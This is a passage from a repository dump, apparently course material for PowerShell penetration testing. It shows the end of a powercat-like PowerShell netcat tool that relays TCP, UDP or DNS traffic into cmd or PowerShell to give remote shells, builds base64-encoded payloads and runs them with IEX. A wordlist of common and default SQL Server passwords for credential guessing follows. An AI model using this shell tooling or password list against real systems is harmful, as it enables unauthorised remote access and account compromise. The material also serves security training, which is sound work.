([io.file]::ReadAllBytes($i)) } 737 | elseif($i.GetType().Name -eq "Byte[]"){ [byte[]]$InputToWrite = $i } 738 | elseif($i.GetType().Name -eq "String"){ [byte[]]$InputToWrite = $Encoding.GetBytes($i) } 739 | else{Write-Host "Unrecognised input type." ; return} 740 | } 741 | 742 | Write-Verbose "Setting up Stream 1..." 743 | try{$Stream1Vars = Stream1_Setup $Stream1SetupVars} 744 | catch{Write-Verbose "Stream 1 Setup Failure" ; return} 745 | 746 | Write-Verbose "Setting up Stream 2..." 747 | try{$Stream2Vars = Stream2_Setup $Stream2SetupVars} 748 | catch{Write-Verbose "Stream 2 Setup Failure" ; return} 749 | 750 | $Data = $null 751 | 752 | if($InputToWrite -ne @()) 753 | { 754 | Write-Verbose "Writing input to Stream 1..." 755 | try{$Stream1Vars = Stream1_WriteData $InputToWrite $Stream1Vars} 756 | catch{Write-Host "Failed to write input to Stream 1" ; return} 757 | } 758 | 759 | if($d){Write-Verbose "-d (disconnect) Activated. Disconnecting..." ; return} 760 | 761 | Write-Verbose "Both Communication Streams Established. Redirecting Data Between Streams..." 762 | while($True) 763 | { 764 | try 765 | { 766 | $Data,$Stream2Vars = Stream2_ReadData $Stream2Vars 767 | if(($Data.Length -eq 0) -or ($Data -eq $null)){Start-Sleep -Milliseconds 100} 768 | if($Data -ne $null){$Stream1Vars = Stream1_WriteData $Data $Stream1Vars} 769 | $Data = $null 770 | } 771 | catch 772 | { 773 | Write-Verbose "Failed to redirect data from Stream 2 to Stream 1" ; return 774 | } 775 | 776 | try 777 | { 778 | $Data,$Stream1Vars = Stream1_ReadData $Stream1Vars 779 | if(($Data.Length -eq 0) -or ($Data -eq $null)){Start-Sleep -Milliseconds 100} 780 | if($Data -ne $null){$Stream2Vars = Stream2_WriteData $Data $Stream2Vars} 781 | $Data = $null 782 | } 783 | catch 784 | { 785 | Write-Verbose "Failed to redirect data from Stream 1 to Stream 2" ; return 786 | } 787 | } 788 | } 789 | finally 790 | { 791 | try 792 | { 793 | #Write-Verbose "Closing Stream 2..." 794 | Stream2_Close $Stream2Vars 795 | } 796 | catch 797 | { 798 | Write-Verbose "Failed to close Stream 2" 799 | } 800 | try 801 | { 802 | #Write-Verbose "Closing Stream 1..." 803 | Stream1_Close $Stream1Vars 804 | } 805 | catch 806 | { 807 | Write-Verbose "Failed to close Stream 1" 808 | } 809 | } 810 | } 811 | ########## MAIN FUNCTION ########## 812 | 813 | ########## GENERATE PAYLOAD ########## 814 | if($u) 815 | { 816 | Write-Verbose "Set Stream 1: UDP" 817 | $FunctionString = ("function Stream1_Setup`n{`n" + ${function:Setup_UDP} + "`n}`n`n") 818 | $FunctionString += ("function Stream1_ReadData`n{`n" + ${function:ReadData_UDP} + "`n}`n`n") 819 | $FunctionString += ("function Stream1_WriteData`n{`n" + ${function:WriteData_UDP} + "`n}`n`n") 820 | $FunctionString += ("function Stream1_Close`n{`n" + ${function:Close_UDP} + "`n}`n`n") 821 | if($l){$InvokeString = "Main @('',`$True,'$p','$t') "} 822 | else{$InvokeString = "Main @('$c',`$False,'$p','$t') "} 823 | } 824 | elseif($dns -ne "") 825 | { 826 | Write-Verbose "Set Stream 1: DNS" 827 | $FunctionString = ("function Stream1_Setup`n{`n" + ${function:Setup_DNS} + "`n}`n`n") 828 | $FunctionString += ("function Stream1_ReadData`n{`n" + ${function:ReadData_DNS} + "`n}`n`n") 829 | $FunctionString += ("function Stream1_WriteData`n{`n" + ${function:WriteData_DNS} + "`n}`n`n") 830 | $FunctionString += ("function Stream1_Close`n{`n" + ${function:Close_DNS} + "`n}`n`n") 831 | if($l){return "This feature is not available."} 832 | else{$InvokeString = "Main @('$c','$p','$dns',$dnsft) "} 833 | } 834 | else 835 | { 836 | Write-Verbose "Set Stream 1: TCP" 837 | $FunctionString = ("function Stream1_Setup`n{`n" + ${function:Setup_TCP} + "`n}`n`n") 838 | $FunctionString += ("function Stream1_ReadData`n{`n" + ${function:ReadData_TCP} + "`n}`n`n") 839 | $FunctionString += ("function Stream1_WriteData`n{`n" + ${function:WriteData_TCP} + "`n}`n`n") 840 | $FunctionString += ("function Stream1_Close`n{`n" + ${function:Close_TCP} + "`n}`n`n") 841 | if($l){$InvokeString = "Main @('',`$True,$p,$t) "} 842 | else{$InvokeString = "Main @('$c',`$False,$p,$t) "} 843 | } 844 | 845 | if($e -ne "") 846 | { 847 | Write-Verbose "Set Stream 2: Process" 848 | $FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_CMD} + "`n}`n`n") 849 | $FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_CMD} + "`n}`n`n") 850 | $FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_CMD} + "`n}`n`n") 851 | $FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_CMD} + "`n}`n`n") 852 | $InvokeString += "@('$e')`n`n" 853 | } 854 | elseif($ep) 855 | { 856 | Write-Verbose "Set Stream 2: Powershell" 857 | $InvokeString += "`n`n" 858 | } 859 | elseif($r -ne "") 860 | { 861 | if($r.split(":")[0].ToLower() -eq "udp") 862 | { 863 | Write-Verbose "Set Stream 2: UDP" 864 | $FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_UDP} + "`n}`n`n") 865 | $FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_UDP} + "`n}`n`n") 866 | $FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_UDP} + "`n}`n`n") 867 | $FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_UDP} + "`n}`n`n") 868 | if($r.split(":").Count -eq 2){$InvokeString += ("@('',`$True,'" + $r.split(":")[1] + "','$t') ")} 869 | elseif($r.split(":").Count -eq 3){$InvokeString += ("@('" + $r.split(":")[1] + "',`$False,'" + $r.split(":")[2] + "','$t') ")} 870 | else{return "Bad relay format."} 871 | } 872 | if($r.split(":")[0].ToLower() -eq "dns") 873 | { 874 | Write-Verbose "Set Stream 2: DNS" 875 | $FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_DNS} + "`n}`n`n") 876 | $FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_DNS} + "`n}`n`n") 877 | $FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_DNS} + "`n}`n`n") 878 | $FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_DNS} + "`n}`n`n") 879 | if($r.split(":").Count -eq 2){return "This feature is not available."} 880 | elseif($r.split(":").Count -eq 4){$InvokeString += ("@('" + $r.split(":")[1] + "','" + $r.split(":")[2] + "','" + $r.split(":")[3] + "',$dnsft) ")} 881 | else{return "Bad relay format."} 882 | } 883 | elseif($r.split(":")[0].ToLower() -eq "tcp") 884 | { 885 | Write-Verbose "Set Stream 2: TCP" 886 | $FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_TCP} + "`n}`n`n") 887 | $FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_TCP} + "`n}`n`n") 888 | $FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_TCP} + "`n}`n`n") 889 | $FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_TCP} + "`n}`n`n") 890 | if($r.split(":").Count -eq 2){$InvokeString += ("@('',`$True,'" + $r.split(":")[1] + "','$t') ")} 891 | elseif($r.split(":").Count -eq 3){$InvokeString += ("@('" + $r.split(":")[1] + "',`$False,'" + $r.split(":")[2] + "','$t') ")} 892 | else{return "Bad relay format."} 893 | } 894 | } 895 | else 896 | { 897 | Write-Verbose "Set Stream 2: Console" 898 | $FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_Console} + "`n}`n`n") 899 | $FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_Console} + "`n}`n`n") 900 | $FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_Console} + "`n}`n`n") 901 | $FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_Console} + "`n}`n`n") 902 | $InvokeString += ("@('" + $o + "')") 903 | } 904 | 905 | if($ep){$FunctionString += ("function Main`n{`n" + ${function:Main_Powershell} + "`n}`n`n")} 906 | else{$FunctionString += ("function Main`n{`n" + ${function:Main} + "`n}`n`n")} 907 | $InvokeString = ($FunctionString + $InvokeString) 908 | ########## GENERATE PAYLOAD ########## 909 | 910 | ########## RETURN GENERATED PAYLOADS ########## 911 | if($ge){Write-Verbose "Returning Encoded Payload..." ; return [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($InvokeString))} 912 | elseif($g){Write-Verbose "Returning Payload..." ; return $InvokeString} 913 | ########## RETURN GENERATED PAYLOADS ########## 914 | 915 | ########## EXECUTION ########## 916 | $Output = $null 917 | try 918 | { 919 | if($rep) 920 | { 921 | while($True) 922 | { 923 | $Output += IEX $InvokeString 924 | Start-Sleep -s 2 925 | Write-Verbose "Repetition Enabled: Restarting..." 926 | } 927 | } 928 | else 929 | { 930 | $Output += IEX $InvokeString 931 | } 932 | } 933 | finally 934 | { 935 | if($Output -ne $null) 936 | { 937 | if($of -eq ""){$Output} 938 | else{[io.file]::WriteAllBytes($of,$Output)} 939 | } 940 | } 941 | ########## EXECUTION ########## 942 | } -------------------------------------------------------------------------------- /coursewordlist: -------------------------------------------------------------------------------- 1 | Spring2017 2 | Spring2016 3 | Spring2015 4 | Spring2014 5 | Spring2013 6 | spring2017 7 | spring2016 8 | spring2015 9 | spring2014 10 | spring2013 11 | Summer2017 12 | Summer2016 13 | Summer2015 14 | Summer2014 15 | Summer2013 16 | summer2017 17 | summer2016 18 | summer2015 19 | summer2014 20 | summer2013 21 | Autumn2017 22 | Autumn2016 23 | Autumn2015 24 | Password123! 25 | Autumn2014 26 | Autumn2013 27 | autumn2017 28 | autumn2016 29 | autumn2015 30 | autumn2014 31 | autumn2013 32 | Winter2017 33 | Winter2016 34 | Winter2015 35 | Winter2014 36 | Winter2013 37 | Lexington1776! 38 | winter2017 39 | winter2016 40 | winter2015 41 | winter2014 42 | winter2013 43 | P@55w0rd 44 | P@ssw0rd! 45 | P@55w0rd! 46 | sqlsqlsqlsql 47 | SQLSQLSQLSQL 48 | Welcome123 49 | Welcome1234 50 | Welcome1212 51 | PassSql12 52 | network 53 | networking 54 | networks 55 | test 56 | testtest 57 | testing 58 | testing123 59 | testsql 60 | test-sql3 61 | sqlsqlsqlsqlsql 62 | bankbank 63 | default 64 | test 65 | testing 66 | password2 67 | 68 | password 69 | Password1 70 | Password1! 71 | P@ssw0rd 72 | password12 73 | Password12 74 | security 75 | security1 76 | security3 77 | secuirty3 78 | complex1 79 | complex2 80 | complex3 81 | sqlserver 82 | sql 83 | sqlsql 84 | password1 85 | password123 86 | complexpassword 87 | database 88 | server 89 | changeme 90 | change 91 | sqlserver2000 92 | sqlserver2005 93 | Sqlserver 94 | SqlServer 95 | Password1 96 | Password2 97 | P@ssw0rd 98 | P@ssw0rd! 99 | P@55w0rd! 100 | P@ssword! 101 | Password! 102 | password! 103 | sqlsvr 104 | sqlaccount 105 | account 106 | sasa 107 | sa 108 | administator 109 | pass 110 | sql 111 | microsoft 112 | sqlserver 113 | sa 114 | hugs 115 | sasa 116 | welcome 117 | welcome1 118 | welcome2 119 | march2011 120 | sqlpass 121 | sqlpassword 122 | guessme 123 | bird 124 | P@55w0rd! 125 | test 126 | dev 127 | devdev 128 | devdevdev 129 | qa 130 | god 131 | admin 132 | adminadmin 133 | admins 134 | goat 135 | sysadmin 136 | water 137 | dirt 138 | air 139 | earth 140 | company 141 | company1 142 | company123 143 | company1! 144 | company! 145 | secret 146 | secret! 147 | secret123 148 | secret1212 149 | secret12 150 | secret1! 151 | sqlpass123 152 | Summer2013 153 | Summer2012 154 | Summer2011 155 | Summer2010 156 | Summer2009 157 | Summer2008 158 | Winter2013 159 | Winter2012 160 | Winter2011 161 | Winter2010 162 | Winter2009 163 | Winter2008 164 | summer2013 165 | summer2012 166 | summer2011 167 | summer2010 168 | summer2009 169 | summer2008 170 | winter2013 171 | winter2012 172 | winter2011 173 | winter2010 174 | winter2009 175 | winter2008 176 | 123456 177 | abcd123 178 | abc 179 | burp 180 | private 181 | unknown 182 | wicked 183 | alpine 184 | trust 185 | microsoft 186 | sql2000 187 | sql2003 188 | sql2005 189 | sql2008 190 | vista 191 | xp 192 | nt 193 | 98 194 | 95 195 | 2003 196 | 2008 197 | someday 198 | sql2010 199 | sql2011 200 | sql2009 201 | complex 202 | goat 203 | changelater 204 | rain 205 | fire 206 | snow 207 | unchanged 208 | qwerty 209 | 12345678 210 | football 211 | baseball 212 | basketball 213 | abc123 214 | 111111 215 | 1qaz2wsx 216 | dragon 217 | master 218 | monkey 219 | letmein 220 | login 221 | princess 222 | solo 223 | qwertyuiop 224 | starwars 225 | -------------------------------------------------------------------------------- /images/Become-a-patron-button.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dievus/PowerShellForPentesters/87ce9b476f11f69cd4f2f67779422e6bef643478/images/Become-a-patron-button.png -------------------------------------------------------------------------------- /images/powershell.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dievus/PowerShellForPentesters/87ce9b476f11f69cd4f2f67779422e6bef643478/images/powershell.jpg --------------------------------------------------------------------------------